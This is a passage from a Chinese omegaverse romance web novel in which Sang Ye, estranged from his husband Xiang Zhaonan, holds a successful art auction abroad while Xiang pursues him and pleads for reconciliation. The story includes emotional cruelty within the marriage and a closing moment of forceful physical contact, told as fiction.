是谁做的,不用思考就能想到。 为什么在他决意离开后还要强行在他身边留下自己的痕迹? 以前的桑也求之不得,连身上的伤痕都当作勋章,现在的桑也避之不及,无论他是有意无意。 他跟助理说:“选好之后把这些框架都砸了,重新做。” 助理没问为什么,只问:“报销吗?” 桑也:“……算了。”窘迫的境况让他连宣泄怒意都不能尽兴。 助理倒没有多问,想必也清楚他上司现在兜里一文钱也摸不出的困境,默默做事。 “这副日出和这副花园在流媒体上反响最好,甚至有视频用这两幅图当背景分享自己的恋爱经历,因为太纯爱和文字里流露出的幸福感一度冲上了热搜。” 这两幅画,包括剩下没被点到的几副,都是桑也刚结婚时闷在家里画的,那时候的他还在幻想,他治病的良药和他心心念念的暗恋对象居然是一个人,世界上怎么会有如此巧合的事情。 他一度觉得,他是上帝的宠儿。那时候的他,也幸福。 助理不知道想到了什么,感慨一句:“爱情是个好东西啊。爱情养人。”言语之间流露出向往之情。 桑也状似认可地点头,“爱情是个好东西。爱情养商人。” 别的不说,无论那个视频里的爱情是真是假,是不是真的美好,桑也作为画者,作为商人,是绝对的受益者。 当一件商品卖不动,就和爱情挂钩,销量蹭蹭涨;要是不起效果,再联动一下友情,总有人买单。 至于故事,想要多少,文案组就能编多少。 助理噎了一下,本来想说桑总你也太扫兴了,开口前又想到面前人的经历,按住冲动,转而问道:“桑总拿定主意了吗?选好之后我就送到公司去。公司那边至今还只有几张画的扫描件。” “日出”灿烂绚丽,朦胧之中恍若梦境,“花园”如同视角诡谲,由四周向中间收拢的密林夹着似乎偷窥而见的粉蓝花园。 桑也无法抉择。 “我不知道以你们M国人喜好来看哪一幅更有拍卖价值——去公司吧,和其他人商量看看。” 助理利索地收起画和箱子,帮他拎到楼下,等桑也坐上副驾驶后启动车辆。 拍卖行只有运输贵重物品的安保车辆,不适于平时使用,但桑也现在手头没有闲钱去买车,或者说没有足够的钱去买一辆能撑面子的豪车。 好在他母亲一手创建的美妆品牌倒是有给高管用的商用车,他接手之后调了一辆过来。 物业效率挺高,门口和楼底下都没有相召南的影子。 桑也正想着,车辆行驶到小区门口,正要缓慢进入大道,一个人窜出来挡在车前。 相召南站在车前,他个子高,虽然略显疲惫,但身形优越,体态良好,即使困怠也昂首挺胸,气势不输庞大的SUV。 他的唇瓣翕动,似乎念着什么,见车上人没有反应,又转到侧面,拍打车窗。 桑也第一次见到这样的相召南。 不像高高在上的相氏总裁,反而像饥荒年走投无路的孤苦者,在看见衣冠楚楚的来者时迫不及待冲上去寻求庇佑,渴望一场春霖。 他以前跪在地上祈求时,相召南心里也是这般感受吗? 是他主动放低姿态,才让相召南愈发看低他。 “开车。”桑也没有和相召南说话的心情,闭了闭眼,靠在椅背上,对助理说。 助理重新启动车辆,然而发动机刚一响起来,相召南就转到车辆正面堵住,不让他们走。 助理面露难色。 半天没动,桑也才睁开眼,隔着清透的玻璃看见相召南嘴唇不断开合在说着什么,不知道是不是因为话说太多——和以前的相召南相比——嘴唇都干裂了,手掌撑在车辆前盖,一副视死如归的模样。 桑也心平气和地坐在车内,无动于衷。 他对相召南太了解了,以至于他听不见声音的情况下只从相召南的口型都能辨别出他在说什么。 “桑也,你下来我们谈谈。刚才物业巡查让我出去,我只能在这里等你,但我想说的还没有说完,……” 桑也垂下眸,心想就是我叫物业把你赶出去的。 他们堵在路口的时间太久了,后来的车辆开始鸣笛催促,路过的人也停下投以异样的眼光。 桑也吐出一口浊气,打开自己身侧的车窗。 相召南立马转过来:“桑也,我们聊聊——” “撞过去。” 桑也没有理会相召南,直接对助理发出指示,语气平淡,目不斜视,连一丝余光都没有分给相召南,仿佛在车边的人与他毫无关系。 相召南的声音戛然而止。 助理趁机开车,从浑身僵滞的相召南身边开了出去,给后面的车让出来一条道路。 车辆开出去几十米,他才听见车后传来相召南的追喊声。 桑也无动于衷地摇上了车窗。 …… 相召南一向不喝酒。 一是因为他觉得酒精伤脑,会摧残他的意志,作为一个习惯将时间、金钱都把控得分毫不差的人,他绝不容忍有东西影响他的效率。 二则是因为他有轻微的酒精过敏症状。 现在,他的脚边却明晃晃摆着几个空酒瓶子,歪歪倒倒。 他在M国守了三天,没有得到和桑也讲话的机会,只等到了国内连环电话,他被迫返回国内。 然而刚坐上飞机,他就开始后悔,不解。 为什么他必须以事业为重,为什么他必须把自己的时间百分百投入到工作,什么时候开始他失去了自我和做自己的权利。 在和桑也结婚之前,他忙碌过一段时间,是为了在相氏站稳脚跟。 而和桑也结婚之后—— 从前浑浑噩噩的抉择仿佛披上了一层乌纱,在此时才显露出真面目。 是为了躲避桑也。 有时候他根本不忙,就算他真的忙,以他的身份地位,想要推脱掉什么,也是轻而易举的事。 但他没有。 他一如既往地回复桑也的消息,“在忙”。 就是为了不去面对那个跌入池塘的月亮。 相召南猛地灌了一口酒,在便利店随意购买的劣质酒精充斥在他的口腔、喉管,如同密密麻麻的针刺插入他的每一根神经。 随着酒精冲上大脑,他的意识逐渐消沉,视野模糊,朦胧之间,他似乎看见了一幅又一幅油画,画上不是他,却又全是他,凝聚着远走人的心血。 成为他的馈赠。 那一幅幅画刺痛了他的眼,叫嚣着你发现得太迟了,晚了! 相召南心脏骤痛,握住酒瓶的手颤抖不已,长满红疹,他抬手想要灌酒,却使不出丝毫力气,连只剩毫末的酒瓶都握不住,最后随着他人一齐砸落在地上,碎掉的玻璃插入他的手臂。 鲜血和酒液混杂在一起,腥臭难闻。 闭上眼,炽亮的路灯摇摇晃晃,相召南似乎看见了他坠落的灯塔。 第33章 相召南是被床边滴水声音吵醒的, 醒来发现是医院的吊水在滴答滴答往下流。 吊水走得很慢,半天不见水位下降,他眉目中带着几分积郁, 把滴水速度调快。 陈助不知道在看什么, 盯着手机, 目不转睛。相召南躺了不知道多久, 喉咙有些干,他想叫人给他倒杯水, 刚一伸手, 陈助发现他醒来,忙不迭递了个手机给他。 “相总您的手机, 林女士打了好几个电话。” 骂得他跟鹌鹑似的。 “您看看给她回个电话?” 相召南当然知道林晓燕不会无缘无故给他打电话, 只是不知道林晓燕心里到底打着什么主意,“她打电话来干什么。” 陈助礼貌地笑了下, “不是很清楚, 林女士没和我细说。” 相召南头还时不时阵痛,实在不乐意听见林晓燕的声音,但他想到之前给桑也打的十几个未接电话, 实打实体悟到了被拒接的感受,被骂了一通之后, 生出点改变的想法。 便主动给林晓燕拨了过去。 电话刚一打过去就被人接听了, 似乎是守着手机等他打去。 “相召南你活腻了不是?三十岁的人了还当自己是小年轻吗, 学人家路边买醉, 醉得跟烂泥一样, 知不知道要是被人拍了照片送到你爹那你去,你连在相氏打工的资格都没有了!本来这两年你往家里拿钱就越来越少,我看你要是被相民那个老不死的踢出局你该怎——” 林晓燕上来就是一通骂, 相召南忍着怒气听她骂了几句,最后忍无可忍,一句话没说,直接挂断。 他把手机丢到床上,“给我倒杯水。” 陈助又在看他的手机。相召南说完话之后等了十来秒,陈助才反应过来,把手机揣兜里。 “相总,您说什么来着?”陈助默了默鼻子,心虚问。 “谈恋爱了?”相召南拧眉,以前陈助从来不会这样失职,如果是谈恋爱,相召南倒可以原谅他这一次。 却见陈助支支吾吾地说不出话,相召南直觉不对劲。 “在看什么?” 陈助也不知怎么想的,迫于威严也好,想气一下自己这个黑脸老板也好,竟直接把自己手机递到相召南面前,“相总您看,桑先生发的日常,看来他在离开您之后过得还……”话说到这里,陈助戛然而止,好似才意识到自己说错话了。 手机屏幕上是桑也发的三张照片,两张是一种表演的记录,相召南隐约记得叫水上火壶,另一张则是桑也和一个老Alpha的合影,这个人相召南认识,也见过,林肯。 合影中,天色浓黑,桑也和林肯站在水上火壶前面,通红灿烂的火花投射出橙红色的光辉洒在桑也头发上,给桑也白皙的面庞蒙上一层暖洋洋的环境色,让他的笑容显得更温暖。 相召南没由来的感到一股浓重的危机感。 他无端害怕桑也在外面见识了太多迷离梦幻的事物,对贫瘠寡淡的他更感到无趣,进而加深了离他而去的决心。 “你……怎么会有他的好友?”相召南握着手机的手因为扎进了玻璃碎片,包了纱布,此刻有些颤,声音也很勉强。 “之前桑先生时常来送餐,他可能是联系不上您,就加了我的好友,便于询问您在不在公司。” 相召南垂眸,深黑的双目黯淡,他把手机递还给陈助。 如果桑也没有离开,按照他的习惯,知道桑也“勾搭”上了他的助理之后必然又要冷嘲热讽挖苦一番,但现在桑也走了,他却意外地能冷静下来思考,为什么他总会做出一些失态的行为。 他似乎总在对自己不自觉在乎桑也的事情遮遮掩掩,不论是看见他和其他Alpha有接触时的怒意,或是自己总被一丝一缕柑橘味信息素轻易勾得勃/起的恼怒。 把责任推卸到桑也身上,责他不忠,怪他淫/荡,这样就能抹去自己对背叛心中灯塔的愧疚。 只有这样他才能心中无愧地看着照片,心想是桑也引诱的他。 然而他故意给桑也设了道障碍,才让他和其他Alpha接触,又总是迟于给予信息素的安抚,压抑自己的欲望,才一步步走到今天。 相召南也有桑也的好友。 他拿回自己的手机,找到桑也的聊天界面,上面的内容还停留在桑也发来的为雕刻无事牌而受伤的照片,和他冷冰冰的回复。 【一个无事牌能要几个钱,做这个干什么?还是说你们桑家已经破产连买个无事牌的钱都拿不出来了?】 不,他不是那个意思…… 他只是,不想表现得在意,不想背叛他…… 相召南大掌握拳,太过用力而绷裂了右臂的伤口,鲜血溢出来迅速染红了纱布。 他没管手臂的伤,仿佛不知痛一样,只是麻木地发送信息。 【那个火壶表演】 你喜欢看的话我可以让人给你表演一百场。 然而他的信息刚发出去,就收到一个血淋淋的感叹号。 他被拉黑了。 呼吸变得急促。 滴水太快,饶是相召南这样身体素质强悍的Alpha也经受不住,手背迅速肿了起来,传出涨涨的肿痛。 相召南直接拔掉吊针,动作太过粗鲁,以至于牵扯出一道细小伤口。 “定机票,去M国。” 他习惯性伸出常用的右手去揭VIP病房专用的被子。 毕竟是花了钱的,那被子虽然看着和普通病号被一样是白色,但光是摸着就比普通的好上百十倍。 然而相召南没心情去享受,反而觉得躁怒,因为他手臂骤然失力,被子又太丝滑,那被子竟然直接从他手中滑了出去! 像是在嘲笑他。 陈助也立马接话:“相总,您今天下午有一个会议,老相总要来视察,明天有一场购物节工作汇报,晚上还要回相宅聚餐……可能走不开。” 相召南沉默无言。 …… 水上火壶的表演在当地引起了不小轰动,一连表演三天,桑也去看的是第二天的表演。 那天他刚从拍卖行的大门出来,就收到林肯的讯息,说中心广场有表演,听说是C国的传统技艺,问他能不能赏脸一起去看看。 桑也刚好也算计着要林肯掏钱给他当托,当即就答应了。 夜幕降临的那一刻,艺人踩着水上飞行器,拎着两侧的火壶一跃而上,随着艺人逐渐升空,火壶一抖,里面的木炭迅速爆发出火树银花般的焰火,照亮了夜空。 然而不仅如此,当火壶烧得炽热之际,艺人在水面高空旋转起来,两侧的火花随之而转,在夜空中流动,仿佛一只涅槃的凤凰。 那一刻,桑也的心也随之燃烧起来。 四年来乏善可陈的生活在这一秒钟变得生动炫丽,重新勃发出生机。 他会心笑了。 刚好有个摄影师在录像,似乎对他的笑容入了迷,主动上来询问能不能帮他拍张照。 桑也心情好,自然答应了,拍好之后摄影师还把照片隔空投递给了他。 本来以为到此为止,谁料那摄影师问了一句:“你们是父子吗?” 桑也笑了下,正要否认,就听林肯说:“看来我们长得就很有父子相啊。” 这话纯属胡扯。 一个C国人,一个M国人,就算林肯有些C国血统,二人在长相上也差异甚广。 摄影师分明是看二人的年龄差距在试探是不是糖爹。 那摄影师听这话也不知道到底言下何意,一时没有说话,还是林肯接了下去:“想要他联系方式?那你还不主动点,刚受了情伤。” 后半句话似乎是凑到摄影师耳边小声说,但实际的声量二人都能听见。 摄影师闻言立马看向桑也。 桑也对这个摄影师并不感兴趣,但看在摄影师神助攻的份上,他也不吝啬一个联系方式。 等摄影师心满意足地走后,桑也趁热打铁,提了嘴成安拍卖行的主意。 他知道林肯愿意帮他助他,一方面有利可图,另一方面无非是因为那天他在苏洛斯山赛车让他想起了自己意外去世的孩子。 林肯果不其然二话不说就点头应了,还叫他第三天到市中心的教堂外面等他,给他介绍个真正的老师。 周日。 这日是周末,不少人做礼拜。 桑也上身着素白暗纹衬衫,下身则是一条简单的黑裤,蓬松的黑色短发微微蜷曲,往人群中一站,形体、气态抑或是长相都格外突出。 因为剜去了腺体,又缺乏营养供给,吸收能力不好,整个人都显露出病弱感,白得几乎透明能看见细小血管的面庞更是让人一见难忘。 仿佛比起教堂外的雕塑,他更像长诗里的神明。 林肯和一个陌生人从教堂走出来。 走近了,桑也才看清那张脸,竟然是史密斯? 之前那个联系他想要收他为徒弟的现实主义大画家。 难道林肯说的“老师”是他? 怀着一肚子疑惑,桑也安静等二人走过来,才开口问候:“上午好,林肯老师,还有这位……史密斯先生?” 史密斯见到他也吃了一惊,“是你?” 林肯:“你们认识?” 桑也摇了摇头,“史密斯先生负有盛名,我们学画的,没有人不认识吧?” 倒是史密斯说的话让桑也有些意想不到:“桑也,我没有记错吧?之前有个朋友让我卖个人情,我可是特意发了信函到你的学校,没想到被拒绝了,唉!” 桑也这下尬住了。 “那时候没打算出国。后来家里出了些情况。” 史密斯表示理解。 “我很欣赏你的画。而且,你最近在M国非常出名。” 他出名全靠营销,和史密斯这种真材实料的画家还是有差距,但史密斯说得真诚,估计是不懂这里面的弯弯绕绕,倒让桑也有些脸红了。 之后三人在教堂外的河岸边一边喂鸽子,一边闲聊。 这可谓是从琴棋书画聊到诗词歌赋,从印象主义到超现实主义,无所不谈。 聊了有一个半钟头,林肯才进入正题,表露了想要史密斯先生收桑也为徒弟的意图。 史密斯称:“在上次朋友请求我时我就看了你的作品集,的确非常有风格,我很欣赏。我年纪也大了,没两年就要从大学里卸任,你要是愿意,我也收个关门弟子,如何?” 林肯和史密斯的目光都落在桑也身上。 而被两双眼睛紧紧盯着的桑也却没有如他们料想的那样满口答应,然而嗫嚅了两下唇,眉宇之间凝结着淡淡的愁闷。 “史密斯先生,您那位朋友是姓钱吗?” 他突兀问道。 这绝非他胡思乱想。 他还记得当时相召南到桑家别墅找他,说要他和钱余父子吃饭,后来又说错过了什么机会,加上相召南自己说的他对艺术不感兴趣——前提是他说的是真话——那他和国外的画家相熟的概率微乎其微,如此推论下来,只有钱余他父亲一个猜疑对象了。 给当时在C国的他介绍一个举世闻名、定居M国的画家当老师,就可以名正言顺地把他驱逐出C国一长段时间,还能堵住他散播“有害信息”的嘴,真是打得一手好算盘。 桑也此话一出,林肯立马皱了眉,想起调查到的内容,迅速反应了过来,史密斯则先是讶异了一下,后来回想起当时朋友所说的隐情,也模糊能想明白桑也此话何意。 沉默了大概半分钟。 林肯出来打圆场:“孩子气,你看。” 第34章 史密斯似乎真的对他很是欣赏, 在桑也流露出一丝介意之后主动表示:“我理解你的心情,如果你没办法立刻给我答复,可以回去再好好考虑考虑。” “好好考虑, 不要让我失望。” 之后他因为学校有课, 先离开了。 林肯问桑也怎么想的。 桑也说:“有点恶心。” 林肯:“史密斯和你说的那位不是深交, 估计也是花了不小代价才找到史密斯。你大可不必介怀。” “但如果我真的拜史密斯为师, 每次见到他都仿佛提醒我曾经有这样一件糟心的事情,这让我心情很不美妙。” 林肯总归是年纪大阅历多, 闻言给了他一个不同角度的看法, 来开导他。 “如果你对此心有芥蒂,只能说明你还没有放下相召南。” 桑也愕然。 “等你有了富可敌国的财力, 和至高无上的权利, 所有人见到你都要点头哈腰,卑躬屈膝, 你就会明白一段失败的感情不过是生活的调味剂, 为了一个决意要忘记的人放弃不可多得的机会,是蠢人之举。” “而现在,成为史密斯先生的学生就是你向上攀登的机会。虽然这不能让你一蹴而就成为一手遮天、叱咤风云的人物, 但能让你这条路走得更顺一些。” 林肯说得显然不是什么玩笑话,桑也脸上神色也凝重起来。 诚然, 逃避绝非解决问题的好方法, 要打破这层隔阂就要直面它, 但是他和史密斯的风格大不相同, 一个迷离掺杂着奇幻, 一个专研现实,就算他潜心向史密斯学习,也受不了多大益处。 他向林肯说了自己的疑虑。 然而林肯却爽朗地笑了两声, “果然还是个孩子。” “让你拜史密斯为师,重点是师吗?重点是史密斯。” “你现在在网上已经有了不小名气,要是再加上史密斯关门学生的噱头,你的受众,认可度都会得到进一步提升。这是一般画者兢兢业业画几十年画都得不到的。” “噱头。”桑也念了念这两个字。 他笑了下,“我是等待贩售的商品吗?” “不,你是艺术品。” “至于噱头,只是抬价的手段。既然你已经如我所说把名气打出去,总不能只赚这一笔吧?长远的布局,才是一个精明商人看重的核心。” 天然钻石和人造钻石别无二致,甚至人造钻石纯度更高,但天然钻石占着一个“天然”的噱头,打着爱情的名号,就足以卖出天价;一些原料劣质、克重稀少、成效微乎其微的商品只要和国货挂钩,总有一批自诩爱国有情怀的人买单。 它们售卖的都不是商品本身,而是附加在商品上的噱头。 “不要和钱过不去,桑也。” 桑也沉默了片刻。 河岸边徐徐的河风吹拂过他的面庞,凉风吹得他鼻尖和耳垂都微微泛红,发丝凌乱地飘着,有几缕遮挡住他的视线。他抬手撇开眼前的头发,说了句该剪头发了。 “留着吧,艺术家都这样。” 半分钟后,桑也给出了他的答案。 “好。” 拍卖会在三周后举行。 在拍卖会之前,有两周的预展,成安的场馆里迎来了这几年来最高的人流量。 因为放出消息有那件珍藏的画作,不少手里有东西的人都主动来联系成安,想要一起拍卖。 一件够格的拍卖品吸引来的买者不会吝啬于拍下其他看上眼的东西,所以成安刚发布公告,找上门来的人就络绎不绝。 最后经过挑选,额外添了二十件艺术拍卖品,加上两幅油画,一共二十二件。 展览的过程中桑也时常来场馆查看情况,偶尔和路人交流一二,询问他们的看法。 只是每每出门总感觉有人在盯着他。 考虑到M国安全情况一向糟糕,他这段时间又出了风头,之前还得罪了柴柯斯,桑也实在想请个保镖。 但苦于没钱。 没钱。 好冰冷的字眼。 之前应有尽有,没什么特殊感受,现在钱财对他也成了稀缺品,他切切实实地体会到林肯所说财富与权利的魅力。 不要和钱过不去,确实是至理名言。 拍卖的当晚,场馆亮如白昼,所有展品都收进了后台,重头戏的油画更是用保险柜收纳着。 虽然桑也一手操办了选品和宣传,但具体的拍卖还得专业人士来,他只台下观望。 晚上九点,陆陆续续有人拿着邀请函进来。 拍卖场地的设计并非死板的舞台和坐席,而是圆形的镂空设计,一楼准备了餐点,播放柔和的舞曲,供拍卖开始前众人社交,二楼则准备了十数个包厢,不仅隔音,还提供最佳视角。 只不过一般这些包厢里都不是什么顶端人士,而是他们的代拍。 就像高考只筛除学渣而不筛除人渣一样,拍卖会入场只验资,而不验人品,这也就意味着有些嘴臭的人到来也并不意外。 柴柯斯,和之前在酒会上就对桑也冷嘲热讽的那小子,就站在桑也身后。 “还真让他办起来了,没想到啊。” “有林肯叔叔提点,烂泥也该扶上墙了。一个花瓶而已。” “我爸还不打算让我接手公司呢,搞不懂,不管怎么着我肯定比他做得好吧,他都能接手自家的产业,凭什么我不能。” “嘁,别说这话。他没爹又没妈,哥哥还进监狱了,除了让他这个花瓶打理公司,还能怎么办。你多玩几年不好吗?” “也是,我爸还能再干十几二十年呢。” 桑也突然站起身来。 身后二人被吓得倒退两步,骂了句脏话。 “你做什么?” 柴柯斯脸上溢出心虚之色。 他敢在桑也身边议论他不过是仗着自己的身份地位,认为桑也必然不敢和他正面起冲突。 但桑也突然站起来,脸上还一副严肃的神色,让他心中犯怵。要真在这么多熟人面前暴露了自己的本色,丢脸的还是他。 “上厕所,不可以吗?”桑也浅浅挑了下眉,他不是极具压迫力的长相,挑眉的动作也没有流氓气,因为动作浅淡,反而更显得他气定神闲。 柴柯斯在心里又默默骂了句脏话。 “当然可以。” 桑也绝对是故意的! 他咬牙切齿地放走桑也。 不仅如此,身边的好友肯尼还用胳膊肘撞了撞他,小声说:“他今天穿的和上次不一样了,还挺好看。” “艹你的,他穿什么跟你有什么关系?一个连Beta都不如的残疾Omega你也看得上?” 桑也从洗手间出来,又去后台清点了下物品,确认无误,之后没一会就开始竞拍流程了。 他在一楼寻找了下柴柯斯的踪影,整个会场只有柴柯斯让他放心不下,这人在他这里吃了亏,要是在他的拍卖会上捣乱…… 他没见到柴柯斯的踪影。 桑也心里一紧,又掀开帘幕进入后台,反复询问所有拍卖品都没有问题。 得到肯定答复之后才出来。 这时第一件拍卖品已经竞价到了它的极限,拍卖师正在倒数。 敲槌定音之际,桑也终于找到了柴柯斯的人影。他隔得远,听不见柴柯斯嘴里骂骂咧咧在说什么,只能看见他吃瘪的面容和郁闷神情。 被训了? 不管是被谁训了,桑也心里都极为舒坦。 为了拍卖会能正常进行,为了维持自己的形象来配合营销,为了能够救活垂危的成安,方才他忍着怒火没有发泄,如同过往四年他习以为常的那样。 虽然戏耍了柴柯斯二人一番,但总有股火气窝在心里。 然而这股火气在看见柴柯斯脸上的扭曲时顿时消散了。 桑也舒出一口气,为确认柴柯斯没在他的拍卖会上捣乱,也为自己受的委屈在不知何时被有心人帮忙消解了。 此后拍卖进行得十分顺利。 虽然也有拍卖品流拍,但大多拍卖品都拍到了预估价格甚至更高。 晚上十一点,终于来到了重头戏。 桑也不敢在外面坐着了。他对最后两幅油画的拍卖有种近乡情怯般的畏惧,越是期待,越是害怕。怕卖出的价格达不到预期,怕辛苦一个月的努力付之东流。 他把自己关在卫生间,不仅是卫生间的大门被他锁了,连里面小隔间他也锁得严严实实,还带上耳机,把一切场馆里的声音都隔绝了个彻底。 他站在卫生间里,躁动地查看手机上的信息,把所有好友的社交动态都查看了个遍,又到流媒体平台看最近的热点,有时候看着看着就神游天外,想象场馆里的画面。 当然,他所想象的画面必然是无数人争相竞拍,如火如荼,但有时候又不可避免地想象到死寂的,沉默的,只有拍卖师无力地宣传着场景。 怎么可能呢! 就算他的画作无人问津,那副宝贵的印象主义油画也绝不可能惨淡收场。 那么多人冲着这幅画来,怎么可能卖不出高价? 除非他们都商量好了一起耍他。 开什么玩笑。 桑也安慰自己。 安静地卫生间里突然传出叮的一声。 是桑也的手机收到信息。 他的眼睛在脑子反应之前就阅读完了信息,以至于他甚至没办法小心翼翼地一点点揭露结果。 【桑总,您人呢?拍卖已经结束了,简直无法想象,您的那幅花园居然拍出了不亚于最后那幅珍品的价格!】 桑也先是惊喜,眉目都舒展开来,但很快又意识到,如果两幅画的价格相近——是不是意味着最后那幅画的价格达不到他们的预期?甚至可能远远小于他们的预期。 他呼吸一滞。 没一会,助理又发来第二条信息。 【整整四千万!天哪!最后那幅画也才五千五百万!桑总,今天晚上的拍卖消息传出去你绝对又要火了。】 桑也悬着的心一下子就平缓了下来。 这时他才感受到自己的胸腔里还有一颗心脏在鼓鼓跳动,像是突然活了过来。 他喘了好几口气,才把心情压下去。 【不过桑总,这不会是您请的托吧?除了林肯先生,还有另一个人在竞拍,也是那个人最后以四千万的价格拍下了你的画。我们有这么多钱流转吗?】 桑也淡粉的双唇微微张开,显然他也有些奇怪。 但不管怎么样,他的目的达成了,这是好消息。 他推开卫生间的门,准备去通知拍卖行的员工找个时间办一场庆功宴。 然而他只是刚打开大门,还没有踏出去,就被一个高大的身影挡住了去路。 那人急促地握住他的手。 桑也立马挣脱,连一丝目光都不施舍给他,抬脚就跑。 他却听见那人喊了句:“桑也,我有你想要的东西。” 桑也的脚步顿时放慢。 第35章 晦气。 桑也默默念了这两个字。 什么东西是他想要而又在相召南手里? 桑也在洗手间外三米的位置, 背对着相召南,迟迟没有转身。 很讨厌这种感觉。 这种不想回头却又不得不回头的,有一腔怒意却只能憋在肚子里把自己气出内伤, 放出再多狠话也不被人放在心上的感觉。 桑也咬了咬牙, 停都停了, 不如问问看他说的是什么东西。 于是他转身, 微微扬起的下颌线条柔和流畅,在场馆的灯光照耀下仿佛散发着一层淡淡的光辉。 相召南看见他停下来, 跳动的心几乎要从嗓子眼跃出来, 然而桑也并没有立马转身,仿佛在考量他那句话有几分重量, 令相召南第一次感受到了被放在天秤上等待抉择的窒息感。 他几乎不敢呼吸。 那日从医院醒来, 他急不可耐地想要重返M国,却被各种各样的事务绊住脚。 相渡南想借机把他踢出相氏, 相民想养蛊, 却忘了他在相氏打工这么多年,就算之前因为桑氏的问题他在公司的风评和信誉都受到折损,他所建立的根基不是相渡南一朝一夕就能动摇的。 但必须承认的是, 一件又一件公务就像密匝匝的雨滴砸得他晕头转向。 他只能周五的时候坐红眼航班到M国,然而在见到桑也时却又止住脚步。 上一次的争执让他认清了现状。 桑也好像没在闹脾气。 他想要开口叫住桑也, 却又找不到更多的理由让桑也跟他回国, 最后只有伸出去的手僵直地悬在半空中, 眼睁睁看着桑也离开。 直到昨天, 陈助告诉他, 派出去的人找到了一点和桑氏暴雷有关的线索。 新闻爆出来第一时间相召南就安排了人去调查情况,虽然他看不上桑守安,但从利弊分析上看, 他不信桑守安会冒那么大风险做一些没什么用的蠢事。 但当时得到的信息是,一星期的跟踪调查下来,桑氏地产主动离职的人中没有可疑对象。 在一贯的认知里,做了坏事的人必定心虚,加上想要迅速退场,肯定会主动递交辞呈,然而事实是,这个人离开桑氏是被开除的。 以至于一直没出现在他们的怀疑范围内。 拿到线索后,相召南恨不得立马飞到桑也面前。 但他忍住了。他知道桑也主持的拍卖会在今晚举行,他要给桑也一个惊喜。 相召南难得地露出一个笑。 他自诩自己不是卖笑的,也不需要用谄媚的笑容去讨好任何人,从来没有在桑也面前露出过笑容,或者说他几乎没有笑过。 因此他笑得很僵硬,口轮匝肌牵扯面部肌肤,像上个世纪就开始工作的工厂机器一直坚持到现在但已经生锈僵涩,一旦开机就会发出刺耳的吱呀声。 “好丑。”桑也从前期待竭尽所能换得的笑容竟然如此丑陋,他开始变得无法理解自己。 就像被工作的风剑霜刃摧残了花枝的成年人回到家中看见迟迟不肯写作业的孩子脱口而出“好好学习”,想不通他们为什么不明白学习的好处一样,桑也想不通为什么当初的自己会渴望这样一个丑陋的笑容,他甚至皱了皱眉,也没思考出答案。 桑也说得很小声,毕竟只是无心地一句。 随后他伸出手。 相召南似乎有些不明白,“什么?” 桑也的手还没有收回去,“你说的东西。” 最好是真的“他想要的东西”。 相召南却没有拿出任何东西的动作迹象,反而谈起了条件。 “东西给你可以,但我有条件。” 桑也闻言掉头就走。 相召南立马拉住他的手臂,想要留住他。桑也虽然停下了脚步,却也甩开了相召南的手。 伴随着甩开他这一举措的是一双略带嫌恶的双目。 相召南被这样一双眼睛盯着,忘记了再次伸手。 他看见那双从前笑意盈盈现在却冷淡如冰的琥珀色双眸斜睨了他一眼,对方没什么血色的双唇轻轻翕动,“什么东西。什么条件。” 无论是在公司,还是在私人领域,相召南都是发号施令的角色,即使是面对相民,他也从不屈居下位。然而此时此刻,他做出了和他那些言听计从的下属一样的举措。 “和桑氏有关的线索,有个人在桑氏出事前和陈张地产的人见过面。条件是你跟我回家。” 他几乎是没有停顿地将这两句话全须全尾讲了出来,一气呵成。 这一刻的他就像那些千方百计要到他联系方式,打了千百个电话终于被接通,害怕在挂断电话前无法完整讲出自己卑微到底融资请求的公司。 短短八个字,攻守易势。 然而他急切的语句只得到一声轻笑。 像冬天里的风,柔柔的,弱弱的,悄无声息把寒霜带进你的铜盔铁甲。 “痴人说梦。” 相召南优越的长相煞那间失去了颜色。 桑也顿时开心极了。 他恨不得用全世界最恶毒、最狠厉的话语去谴责相召南,但他知道以相召南的性格,只会觉得自己在拿乔,在闹脾气,在耍小计谋,就为了回到C国后能在相召南心中地位更进一步。 所以他直接戳破相召南一切荒谬怪诞猜想的底色。 他不会回去。 看着相召南吃瘪的神色,桑也整个人都舒坦了。 他一直在受气,受相召南的气,受那些嘴巴不干净人的气。 在相召南面前忍气吞声是为了可笑的爱,在柴柯斯面前忍气吞声是为了钱。怎么能相提并论? 所以他不乐意再受相召南的气了。 当他卑躬屈膝时,相召南高高在上,但如果他站起来,相召南就会低下头去。 就像他之前说的,过去的他下贱,相召南也毫不逊色。 果不其然,当他斥出那句痴人说梦后,相召南脸上又出现了那种扭曲的复杂的神色。 “我已经道歉了,桑也,你不能这样。” 相召南用略微急喘的语气说道。 “你的道歉,一文不值。” 桑也无动于衷,甚至连仰面的角度都没有改变一寸一厘。 相召南只是拿道歉作为挽回他的筹码,绝非真正知道曾经对他造成了多大的伤害。 如果他真的懂了,他就不会像现在这样穷追不舍!他就该知道,一个杀人凶手反复出现在受害人面前只会让他不停地回溯那可怖的梦魇! 相召南的薄凉的唇嗫嚅了几下,不知道说了句什么,最后只故作轻松地吐出几个字:“别闹了桑也。” “闹?我没时间跟你闹。” 相召南一次次被毫不留情地戳破,连骗骗自己都做不到,他的脸上终于挂不住笑。 当桑也平和的毫无波动的声音传入他的耳中,相召南脸上的假笑仿佛被寒风冻结,眉头紧锁,嘴角下垂,那些没有用语言表达的挣扎和绝望似乎在这张面孔上找到了出口,自腺体涌出的冰霜信息素更是滔滔不绝,从决堤河岸倾倒而下。 “桑也……” 他呢喃着,用目光描摹眼前的人,桑也站得那样笔直□□,不似以往毫无尊严。 暗灰色的衬衫外裹黑色马甲,金色的纽扣一字排下,收束起纤细的腰身,平直的肩,弧度完美的腰,饱满圆润的臀部和直挺的双腿,如同神的雕刻作品,若是出现在拍卖台上,恐怕无法分辨他是拍卖师还是拍卖品。 在他面临无尽的将要失去桑也的恐惧时,他重新拾起了如同当年那样对桑也的欣赏,重新发现了桑也身上让他无法忘怀的魅力。 相召南开始怀疑,难道是他把桑也养得太差了吗? 仿佛有一个漩涡想要将他吸进去,他双目晕眩,头脑不清,只记得脑海里突然闪过一块墨白色的石块,转瞬即逝。 他循着那块墨白色伸出手去,却被什么力量阻遏住。 他勃怒,毫不犹豫撕开阻碍他的布料,掀开阻拦他的力量,寻找到那块无事牌。 它就挂在桑也的脖颈上,羊脂玉一般又白又润的肌肤温暖了无事牌,相召南用手指摩梭了下,却惊奇地发现这块无事牌已经不再完整。 金丝缠绕在它上面,将摔成一块块的碎片重新拼凑起来,中间似乎还缺了一块,用金丝盘成一圈又一圈的圆堵住。 “太不小心了桑也,怎么能把它摔坏了呢。”相召南低声道。 